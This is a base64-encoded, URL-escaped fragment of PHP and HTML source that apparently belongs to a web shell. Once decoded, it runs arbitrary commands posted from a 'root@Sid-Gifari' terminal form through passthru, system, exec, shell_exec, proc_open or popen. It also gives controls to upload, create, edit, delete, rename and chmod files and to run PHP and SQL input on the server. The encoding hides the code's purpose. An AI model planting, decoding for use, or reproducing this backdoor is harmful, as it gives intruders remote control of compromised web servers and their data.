yBMaXN0IG9mIGNvbW1hbmQgZXhlY3V0aW9uIGZ1bmN0aW9ucyB0byBjaGVja1xyXG4kZXhlY0Z1bmN0aW9ucyA9IFsncGFzc3RocnUnLCAnc3lzdGVtJywgJ2V4ZWMnLCAnc2hlbGxfZXhlYycsICdwcm9jX29wZW4nLCAncG9wZW4nLCAnc3ltbGluaycsICdkbCddO1xyXG5cclxuXC9cLyBDaGVjayBpZiBhbnkgb2YgdGhlIGZ1bmN0aW9ucyBhcmUgZW5hYmxlZCAobm90IGRpc2FibGVkIGJ5IGRpc2FibGVfZnVuY3Rpb25zKVxyXG4kY2FuRXhlY3V0ZSA9IGZhbHNlO1xyXG5mb3JlYWNoICgkZXhlY0Z1bmN0aW9ucyBhcyAkZnVuYykge1xyXG4gICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygkZnVuYykpIHtcclxuICAgICAgICAkY2FuRXhlY3V0ZSA9IHRydWU7XHJcbiAgICAgICAgYnJlYWs7XHJcbiAgICB9XHJcbn1cclxuXHJcbmlmICghaXNzZXQoJF9TRVNTSU9OWydjd2QnXSkpIHtcclxuICAgICRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTtcclxufVxyXG5cclxuXC9cLyBVcGRhdGUgY3dkIGZyb20gUE9TVCBpZiB2YWxpZCBkaXJlY3RvcnlcclxuaWYgKGlzc2V0KCRfUE9TVFsncGF0aCddKSAmJiBpc19kaXIoJF9QT1NUWydwYXRoJ10pKSB7XHJcbiAgICAkX1NFU1NJT05bJ2N3ZCddID0gcmVhbHBhdGgoJF9QT1NUWydwYXRoJ10pO1xyXG59XHJcblxyXG4kY3dkID0gJF9TRVNTSU9OWydjd2QnXTsgIFxyXG4kb3V0cHV0ID0gXCJcIjtcclxuXHJcbmlmIChpc3NldCgkX1BPU1RbJ3Rlcm1pbmFsJ10pKSB7XHJcbiAgICAkY21kSW5wdXQgPSB0cmltKCRfUE9TVFsndGVybWluYWwtdGV4dCddKTtcclxuXHJcbiAgICBpZiAocHJlZ19tYXRjaCgnXC9eY2RcXHMqKC4qKSRcLycsICRjbWRJbnB1dCwgJG1hdGNoZXMpKSB7XHJcbiAgICAgICAgJGRpciA9IHRyaW0oJG1hdGNoZXNbMV0pO1xyXG4gICAgICAgIGlmICgkZGlyID09PSAnJyB8fCAkZGlyID09PSAnficpIHtcclxuICAgICAgICAgICAgJGRpciA9IGlzc2V0KCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pID8gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSA6ICRjd2Q7XHJcbiAgICAgICAgfSBlbHNlaWYgKCRkaXJbMF0gIT09IERJUkVDVE9SWV9TRVBBUkFUT1IgJiYgJGRpclswXSAhPT0gJ1wvJyAmJiAkZGlyWzBdICE9PSAnXFxcXCcpIHtcclxuICAgICAgICAgICAgJGRpciA9ICRjd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGRpcjtcclxuICAgICAgICB9XHJcbiAgICAgICAgJHJlYWxEaXIgPSByZWFscGF0aCgkZGlyKTtcclxuICAgICAgICBpZiAoJHJlYWxEaXIgJiYgaXNfZGlyKCRyZWFsRGlyKSkge1xyXG4gICAgICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gJHJlYWxEaXI7XHJcbiAgICAgICAgICAgICRjd2QgPSAkcmVhbERpcjtcclxuICAgICAgICAgICAgJG91dHB1dCA9IFwiQ2hhbmdlZCBkaXJlY3RvcnkgdG8gXCIgLiBodG1sc3BlY2lhbGNoYXJzKCRyZWFsRGlyKTtcclxuICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAkb3V0cHV0ID0gXCJiYXNoOiBjZDogXCIgLiBodG1sc3BlY2lhbGNoYXJzKCRtYXRjaGVzWzFdKSAuIFwiOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XCI7XHJcbiAgICAgICAgfVxyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICBpZiAoJGNhbkV4ZWN1dGUpIHtcclxuICAgICAgICAgICAgY2hkaXIoJGN3ZCk7XHJcbiAgICAgICAgICAgICRjbWQgPSAkY21kSW5wdXQgLiBcIiAyPiYxXCI7XHJcblxyXG4gICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7XHJcbiAgICAgICAgICAgICAgICBvYl9zdGFydCgpO1xyXG4gICAgICAgICAgICAgICAgcGFzc3RocnUoJGNtZCk7XHJcbiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7XHJcbiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7XHJcbiAgICAgICAgICAgICAgICBvYl9zdGFydCgpO1xyXG4gICAgICAgICAgICAgICAgc3lzdGVtKCRjbWQpO1xyXG4gICAgICAgICAgICAgICAgJG91dHB1dCA9IG9iX2dldF9jbGVhbigpO1xyXG4gICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHtcclxuICAgICAgICAgICAgICAgIGV4ZWMoJGNtZCwgJG91dCk7XHJcbiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gaW1wbG9kZShcIlxcblwiLCAkb3V0KTtcclxuICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7XHJcbiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gc2hlbGxfZXhlYygkY21kKTtcclxuICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHtcclxuICAgICAgICAgICAgICAgIFwvXC8gVXNpbmcgcHJvY19vcGVuIGFzIGZhbGxiYWNrXHJcbiAgICAgICAgICAgICAgICAkZGVzY3JpcHRvcnNwZWMgPSBbXHJcbiAgICAgICAgICAgICAgICAgICAgMCA9PiBbXCJwaXBlXCIsIFwiclwiXSxcclxuICAgICAgICAgICAgICAgICAgICAxID0%2BIFtcInBpcGVcIiwgXCJ3XCJdLFxyXG4gICAgICAgICAgICAgICAgICAgIDIgPT4gW1wicGlwZVwiLCBcIndcIl1cclxuICAgICAgICAgICAgICAgIF07XHJcbiAgICAgICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcywgJGN3ZCk7XHJcbiAgICAgICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1swXSk7XHJcbiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTtcclxuICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTtcclxuICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzJdKTtcclxuICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzJdKTtcclxuICAgICAgICAgICAgICAgICAgICBwcm9jX2Nsb3NlKCRwcm9jZXNzKTtcclxuICAgICAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IFwiRmFpbGVkIHRvIGV4ZWN1dGUgY29tbWFuZCB2aWEgcHJvY19vcGVuLlwiO1xyXG4gICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKSB7XHJcbiAgICAgICAgICAgICAgICAkaGFuZGxlID0gcG9wZW4oJGNtZCwgJ3InKTtcclxuICAgICAgICAgICAgICAgIGlmICgkaGFuZGxlKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJGhhbmRsZSk7XHJcbiAgICAgICAgICAgICAgICAgICAgcGNsb3NlKCRoYW5kbGUpO1xyXG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gXCJGYWlsZWQgdG8gZXhlY3V0ZSBjb21tYW5kIHZpYSBwb3Blbi5cIjtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgICAgICRvdXRwdXQgPSBcIkVycm9yOiBObyBjb21tYW5kIGV4ZWN1dGlvbiBmdW5jdGlvbnMgYXZhaWxhYmxlLlwiO1xyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgJG91dHB1dCA9IFwiQ29tbWFuZCBleGVjdXRpb24gZnVuY3Rpb25zIGFyZSBkaXNhYmxlZCBvbiB0aGlzIHNlcnZlci4gVGVybWluYWwgaXMgdW5hdmFpbGFibGUuXCI7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG59XHJcblxyXG5pZiAoIWlzc2V0KCR1cmxfaW5jKSkgJHVybF9pbmMgPSBodG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWydQSFBfU0VMRiddKTtcclxuaWYgKCFpc3NldCgkcGF0aCkpICRwYXRoID0gJGN3ZDtcclxuXHJcbj8%2BXHJcblxyXG48c3Ryb25nPnJvb3RAU2lkLUdpZmFyaTo8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGN3ZCk7ID8%2BJDxcL3N0cm9uZz48YnI%2BXHJcbjxwcmU%2BPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRvdXRwdXQpOyA%2FPjxcL3ByZT5cclxuXHJcbjxmb3JtIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCI8P3BocCBlY2hvICR1cmxfaW5jOyA%2FPlwiPlxyXG4gICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInRlcm1pbmFsLXRleHRcIiBzaXplPVwiMzBcIiBwbGFjZWhvbGRlcj1cIkNtZFwiPlxyXG4gICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRwYXRoKTsgPz5cIiBcLz5cclxuICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInRlcm1pbmFsXCIgdmFsdWU9XCJFeGVjdXRlXCI%2BXHJcbjxcL2Zvcm0%2BXHJcbjxcL3RkPlxyXG5cdFx0XHQ8dGQ%2BXHJcblx0XHRcdDw%2FcGhwIGlmKCFlbXB0eSgkZm1fY29uZmlnWydtYWtlX2RpcmVjdG9yeSddKSkgeyA%2FPlxyXG5cdFx0XHRcdDxmb3JtIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCI8Pz0kdXJsX2luYz8%2BXCI%2BXHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiPD89JHBhdGg%2FPlwiIFwvPlxyXG5cdFx0XHRcdDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkaXJuYW1lXCIgc2l6ZT1cIjE1XCI%2BXHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwibWtkaXJcIiB2YWx1ZT1cIjw%2FPV9fKCdNYWtlIGRpcmVjdG9yeScpPz5cIj5cclxuXHRcdFx0XHQ8XC9mb3JtPlxyXG5cdFx0XHQ8P3BocCB9ID8%2BXHJcblx0XHRcdDxcL3RkPlxyXG5cdFx0XHQ8dGQ%2BXHJcblx0XHRcdDw%2FcGhwIGlmKCFlbXB0eSgkZm1fY29uZmlnWyduZXdfZmlsZSddKSkgeyA%2FPlxyXG5cdFx0XHRcdDxmb3JtIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCI8Pz0kdXJsX2luYz8%2BXCI%2BXHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiICAgICB2YWx1ZT1cIjw%2FPSRwYXRoPz5cIiBcLz5cclxuXHRcdFx0XHQ8aW5wdXQgdHlwZT1cInRleHRcIiAgIG5hbWU9XCJmaWxlbmFtZVwiIHNpemU9XCIxNVwiPlxyXG5cdFx0XHRcdDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cIm1rZmlsZVwiICAgdmFsdWU9XCI8Pz1fXygnTmV3IGZpbGUnKT8%2BXCI%2BXHJcblx0XHRcdFx0PFwvZm9ybT5cclxuXHRcdFx0PD9waHAgfSA%2FPlxyXG5cdFx0XHQ8XC90ZD5cclxuXHRcdFx0PHRkPlxyXG5cdFx0XHRcdDxmb3JtICBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiPD89JHVybF9pbmM%2FPlwiIHN0eWxlPVwiZGlzcGxheTppbmxpbmVcIj5cclxuXHRcdFx0XHQ8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCI8Pz0kcGF0aD8%2BXCIgXC8%2BXHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJ0ZXh0XCIgcGxhY2Vob2xkZXI9XCI8Pz1fXygnUmVjdXJzaXZlIHNlYXJjaCcpPz5cIiBuYW1lPVwic2VhcmNoX3JlY3Vyc2l2ZVwiIHZhbHVlPVwiPD89IWVtcHR5KCRfUE9TVFsnc2VhcmNoX3JlY3Vyc2l2ZSddKT8kX1BPU1RbJ3NlYXJjaF9yZWN1cnNpdmUnXTonJz8%2BXCIgc2l6ZT1cIjE1XCI%2BXHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm1hc2tcIiBwbGFjZWhvbGRlcj1cIjw%2FPV9fKCdNYXNrJyk%2FPlwiIHZhbHVlPVwiPD89IWVtcHR5KCRfUE9TVFsnbWFzayddKT8kX1BPU1RbJ21hc2snXTonKi4qJz8%2BXCIgc2l6ZT1cIjVcIj5cclxuXHRcdFx0XHQ8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzZWFyY2hcIiB2YWx1ZT1cIjw%2FPV9fKCdTZWFyY2gnKT8%2BXCI%2BXHJcblx0XHRcdFx0PFwvZm9ybT5cclxuXHRcdFx0PFwvdGQ%2BXHJcblx0XHRcdDx0ZD5cclxuXHRcdFx0PD89Zm1fcnVuX2lucHV0KCdwaHAnKT8%2BXHJcblx0XHRcdDxcL3RkPlxyXG5cdFx0XHQ8dGQ%2BXHJcblx0XHRcdDw%2FPWZtX3J1bl9pbnB1dCgnc3FsJyk%2FPlxyXG5cdFx0XHQ8XC90ZD5cclxuXHRcdFx0PFwvdHI%2BXHJcblx0XHQ8XC90YWJsZT5cclxuICAgIDxcL3RkPlxyXG4gICAgPHRkIGNsYXNzPVwicm93M1wiPlxyXG5cdFx0PHRhYmxlPlxyXG5cdFx0PHRyPlxyXG5cdFx0ICAgICA8dGQ%2BXHJcblxyXG5cdFx0ICAgICA8P3BocCBpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3VwbG9hZF9maWxlJ10pKSB7ID8%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICBcclxuXHRcdCAgICAgXHQ8Zm9ybSBuYW1lPVwiZm9ybTFcIiBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiPD89JHVybF9pbmM%2FPlwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiPlxyXG4gICAgICAgICAgICAgICAgICAgIFxyXG5cdFx0ICAgICBcdDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIjw%2FPSRwYXRoPz5cIiBcLz5cclxuXHJcblx0XHQgICAgIFx0PGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1cInVwbG9hZFwiIGlkPVwidXBsb2FkX2hpZGRlblwiIHN0eWxlPVwicG9zaXRpb246IGFic29sdXRlOyBkaXNwbGF5OiBibG9jazsgb3ZlcmZsb3c6IGhpZGRlbjsgd2lkdGg6IDA7IGhlaWdodDogMDsgYm9yZGVyOiAwOyBwYWRkaW5nOiAwO1wiIG9uY2hhbmdlPVwiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZF92aXNpYmxlJykudmFsdWUgPSB0aGlzLnZhbHVlO1wiIFwvPlxyXG5cclxuXHRcdCAgICAgXHQ8aW5wdXQgdHlwZT1cInRleHRcIiByZWFkb25seT1cIjFcIiBpZD1cInVwbG9hZF92aXNpYmxlXCIgcGxhY2Vob2xkZXI9XCI8Pz1fXygnU2VsZWN0IHRoZSBmaWxlJyk%2FPlwiIHN0eWxlPVwiY3Vyc29yOiBwb2ludGVyO1wiIG9uY2xpY2s9XCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkX2hpZGRlbicpLmNsaWNrKCk7XCIgXC8%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgXHJcblx0XHQgICAgIFx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwidGVzdFwiIHZhbHVlPVwiPD89X18oJ1VwbG9hZCcpPz5cIiBcLz5cclxuXHJcblx0XHQgICAgIFx0PFwvZm9ybT5cclxuXHJcblx0XHQgICAgIDw%2FcGhwIH0gPz5cclxuICAgICAgICAgICAgICAgICAgICBcclxuXHRcdCAgICAgPFwvdGQ%2BXHJcblx0XHQ8dGQ%2BXHJcblx0XHQ8P3BocCBpZiAoJGF1dGhbJ2F1dGhvcml6ZSddKSB7ID8%2BXHJcblx0XHRcdDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj4mbmJzcDsmbmJzcDsmbmJzcDtcclxuXHRcdFx0PGlucHV0IG5hbWU9XCJxdWl0XCIgdHlwZT1cImhpZGRlblwiIHZhbHVlPVwiMVwiPlxyXG5cdFx0XHQ8Pz1fXygnSGVsbG8nKT8%2BLCA8Pz0kYXV0aFsnbG9naW4nXT8%2BXHJcblx0XHRcdDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI8Pz1fXygnUXVpdCcpPz5cIj5cclxuXHRcdFx0PFwvZm9ybT5cclxuXHRcdDw%2FcGhwIH0gPz5cclxuXHRcdDxcL3RkPlxyXG5cdFx0PHRkPlxyXG5cdFx0PD89Zm1fbGFuZ19mb3JtKCRsYW5ndWFnZSk%2FPlxyXG5cdFx0PFwvdGQ%2BXHJcblx0XHQ8dHI%2BXHJcblx0XHQ8XC90YWJsZT5cclxuICAgIDxcL3RkPlxyXG48XC90cj5cclxuPFwvdGFibGU%2BXHJcbjx0YWJsZSBjbGFzcz1cImFsbFwiIGJvcmRlcj0nMCcgY2VsbHNwYWNpbmc9JzEnIGNlbGxwYWRkaW5nPScxJyBpZD1cImZtX3RhYmxlXCIgd2lkdGg9XCIxMDAlXCI%2BXHJcbjx0aGVhZD5cclxuPHRyPiBcclxuICAgIDx0aCBzdHlsZT1cIndoaXRlLXNwYWNlOm5vd3JhcFwiPiA8Pz1fXygnRmlsZW5hbWUnKT8%2BIDxcL3RoPlxyXG4gICAgPHRoIHN0eWxlPVwid2hpdGUtc3BhY2U6bm93cmFwXCI%2BIDw%2FPV9fKCdTaXplJyk%2FPiA8XC90aD5cclxuICAgIDx0aCBzdHlsZT1cIndoaXRlLXNwYWNlOm5vd3JhcFwiPiA8Pz1fXygnRGF0ZScpPz4gPFwvdGg%2BXHJcbiAgICA8dGggc3R5bGU9XCJ3aGl0ZS1zcGFjZTpub3dyYXBcIj4gPD89X18oJ1JpZ2h0cycpPz4gPFwvdGg%2BXHJcbiAgICA8dGggY29sc3Bhbj1cIjRcIiBzdHlsZT1cIndoaXRlLXNwYWNlOm5vd3JhcFwiPiA8Pz1fXygnTWFuYWdlJyk%2FPiA8XC90aD5cclxuPFwvdHI%2BXHJcbjxcL3RoZWFkPlxyXG48dGJvZHk%2BXHJcbjw%2FcGhwXHJcbiRlbGVtZW50cyA9IGZtX3NjYW5fZGlyKCRwYXRoLCAnJywgJ2FsbCcsIHRydWUpO1xyXG4kZGlycyA9IGFycmF5KCk7XHJcbiRmaWxlcyA9IGFycmF5KCk7XHJcbmZvcmVhY2ggKCRlbGVtZW50cyBhcyAkZmlsZSl7XHJcbiAgICBpZihAaXNfZGlyKCRwYXRoIC4gJGZpbGUpKXtcclxuICAgICAgICAkZGlyc1tdID0gJGZpbGU7XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgICRmaWxlc1tdID0gJGZpbGU7XHJcbiAgICB9XHJcbn1cclxubmF0c29ydCgkZGlycyk7IG5hdHNvcnQoJGZpbGVzKTtcclxuJGVsZW1lbnRzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7XHJcblxyXG5mb3JlYWNoICgkZWxlbWVudHMgYXMgJGZpbGUpe1xyXG4gICAgJGZpbGVuYW1lID0gJHBhdGggLiAkZmlsZTtcclxuICAgICRmaWxlZGF0YSA9IEBzdGF0KCRmaWxlbmFtZSk7XHJcbiAgICBpZihAaXNfZGlyKCRmaWxlbmFtZSkpe1xyXG5cdFx0JGZpbGVkYXRhWzddID0gJyc7XHJcblx0XHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfZGlyX3NpemUnXSkmJiFmbV9yb290KCRmaWxlKSkgJGZpbGVkYXRhWzddID0gZm1fZGlyX3NpemUoJGZpbGVuYW1lKTtcclxuICAgICAgICAkbGluayA9ICc8YSBocmVmPVwiJy4kdXJsX2luYy4nJnBhdGg9Jy4kcGF0aC4kZmlsZS4nXCIgdGl0bGU9XCInLl9fKCdTaG93JykuJyAnLiRmaWxlLidcIj48c3BhbiBjbGFzcz1cImZvbGRlclwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxcL3NwYW4%2BICcuJGZpbGUuJzxcL2E%2BJztcclxuICAgICAgICAkbG9hZGxpbms9IChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCd6aXAnLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7emlwJyxfXygnQXJjaGl2aW5nJykuJyAnLiAkZmlsZSk7XHJcblx0XHQkYXJsaW5rICA9IChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCdneicsJGZpbGVuYW1lLF9fKCdDb21wcmVzcycpLicmbmJzcDsudGFyLmd6JyxfXygnQXJjaGl2aW5nJykuJyAnLiRmaWxlKTtcclxuICAgICAgICAkc3R5bGUgPSAncm93Mic7XHJcblx0XHQgaWYgKCFmbV9yb290KCRmaWxlKSkgJGFsZXJ0ID0gJ29uQ2xpY2s9XCJpZihjb25maXJtKFxcJycgLiBfXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGRpcmVjdG9yeSAocmVjdXJzaXZlbHkpPycpLidcXG4gXC8nLiAkZmlsZS4gJ1xcJykpIGRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBcXCcnIC4gJHVybF9pbmMgLiAnJmRlbGV0ZT0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoICAuICdcXCdcIic7IGVsc2UgJGFsZXJ0ID0gJyc7XHJcbiAgICB9IGVsc2Uge1xyXG5cdFx0JGxpbmsgPSBcclxuXHRcdFx0JGZtX2NvbmZpZ1snc2hvd19pbWcnXSYmQGdldGltYWdlc2l6ZSgkZmlsZW5hbWUpIFxyXG5cdFx0XHQ%2FICc8YSB0YXJnZXQ9XCJfYmxhbmtcIiBvbmNsaWNrPVwidmFyIGxlZnRvID0gc2NyZWVuLmF2YWlsV2lkdGhcLzItMzIwO3dpbmRvdy5vcGVuKFxcJydcclxuXHRcdFx0LiBmbV9pbWdfbGluaygkZmlsZW5hbWUpXHJcblx0XHRcdC4nXFwnLFxcJ3BvcHVwXFwnLFxcJ3dpZHRoPTY0MCxoZWlnaHQ9NDgwLGxlZnQ9XFwnICsgbGVmdG8gKyBcXCcsc2Nyb2xsYmFycz15ZXMsdG9vbGJhcj1ubyxsb2NhdGlvbj1ubyxkaXJlY3Rvcmllcz1ubyxzdGF0dXM9bm9cXCcpO3JldHVybiBmYWxzZTtcIiBocmVmPVwiJy5mbV9pbWdfbGluaygkZmlsZW5hbWUpLidcIj48c3BhbiBjbGFzcz1cImltZ1wiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxcL3NwYW4%2BICcuJGZpbGUuJzxcL2E%2BJ1xyXG5cdFx0XHQ6ICc8YSBocmVmPVwiJyAuICR1cmxfaW5jIC4gJyZlZGl0PScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGguICdcIiB0aXRsZT1cIicgLiBfXygnRWRpdCcpIC4gJ1wiPjxzcGFuIGNsYXNzPVwiZmlsZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxcL3NwYW4%2BICcuJGZpbGUuJzxcL2E%2BJztcclxuXHRcdCRlX2FyciA9IGV4cGxvZGUoXCIuXCIsICRmaWxlKTtcclxuXHRcdCRleHQgPSBlbmQoJGVfYXJyKTtcclxuICAgICAgICAkbG9hZGxpbmsgPSAgZm1fbGluaygnZG93bmxvYWQnLCRmaWxlbmFtZSxfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRmaWxlKTtcclxuXHRcdCRhcmxpbmsgPSBpbl9hcnJheSgkZXh0LGFycmF5KCd6aXAnLCdneicsJ3RhcicpKSBcclxuXHRcdD8gJydcclxuXHRcdDogKChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCdnemZpbGUnLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7LnRhci5neicsX18oJ0FyY2hpdmluZycpLicgJy4gJGZpbGUpKTtcclxuICAgICAgICAkc3R5bGUgPSAncm93MSc7XHJcblx0XHQkYWxlcnQgPSAnb25DbGljaz1cImlmKGNvbmZpcm0oXFwnJy4gX18oJ0ZpbGUgc2VsZWN0ZWQnKS4nOiBcXG4nLiAkZmlsZS4gJy4gXFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU%2FJykgLiAnXFwnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFxcJycgLiAkdXJsX2luYyAuICcmZGVsZXRlPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1xcJ1wiJztcclxuICAgIH1cclxuICAgICRkZWxldGVsaW5rID0gZm1fcm9vdCgkZmlsZSkgPyAnJyA6ICc8YSBocmVmPVwiI1wiIHRpdGxlPVwiJyAuIF9fKCdEZWxldGUnKSAuICcgJy4gJGZpbGUgLiAnXCIgJyAuICRhbGVydCAuICc%2BJyAuIF9fKCdEZWxldGUnKSAuICc8XC9hPic7XHJcbiAgICAkcmVuYW1lbGluayA9IGZtX3Jvb3QoJGZpbGUpID8gJycgOiAnPGEgaHJlZj1cIicgLiAkdXJsX2luYyAuICcmcmVuYW1lPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggLiAnXCIgdGl0bGU9XCInIC4gX18oJ1JlbmFtZScpIC4nICcuICRmaWxlIC4gJ1wiPicgLiBfXygnUmVuYW1lJykgLiAnPFwvYT4nO1xyXG4gICAgJHJpZ2h0c3RleHQgPSAoJGZpbGU9PScuJyB8fCAkZmlsZT09Jy4uJykgPyAnJyA6ICc8YSBocmVmPVwiJyAuICR1cmxfaW5jIC4gJyZyaWdodHM9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAuICdcIiB0aXRsZT1cIicgLiBfXygnUmlnaHRzJykgLicgJy4gJGZpbGUgLiAnXCI%2BJyAuIEBmbV9yaWdodHNfc3RyaW5nKCRmaWxlbmFtZSkgLiAnPFwvYT4nO1xyXG4%2FPlxyXG48dHIgY2xhc3M9XCI8Pz0kc3R5bGU%2FPlwiPiBcclxuICAgIDx0ZD48Pz0kbGluaz8%2BPFwvdGQ%2BXHJcbiAgICA8dGQ%2BPD89JGZpbGVkYXRhWzddPz48XC90ZD5cclxuICAgIDx0ZCBzdHlsZT1cIndoaXRlLXNwYWNlOm5vd3JhcFwiPjw%2FPWdtZGF0ZShcIlktbS1kIEg6aTpzXCIsJGZpbGVkYXRhWzldKT8%2BPFwvdGQ%2BXHJcbiAgICA8dGQ%2BPD89JHJpZ2h0c3RleHQ%2FPjxcL3RkPlxyXG4gICAgPHRkPjw%2FPSRkZWxldGVsaW5rPz48XC90ZD5cclxuICAgIDx0ZD48Pz0kcmVuYW1lbGluaz8%2BPFwvdGQ%2BXHJcbiAgICA8dGQ%2BPD89JGxvYWRsaW5rPz48XC90ZD5cclxuICAgIDx0ZD48Pz0kYXJsaW5rPz48XC90ZD5cclxuPFwvdHI%2BXHJcbjw%2FcGhwXHJcbiAgICB9XHJcbn1cclxuPz5cclxuPFwvdGJvZHk%2BXHJcbjxcL3RhYmxlPlxyXG48ZGl2IGNsYXNzPVwicm93M1wiPjw%2FcGhwXHJcblx0JG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsgXHJcblx0JHRvdGFsdGltZSA9ICRtdGltZVswXSArICRtdGltZVsxXSAtICRzdGFydHRpbWU7IFxyXG5cdGVjaG8gZm1faG9tZSgp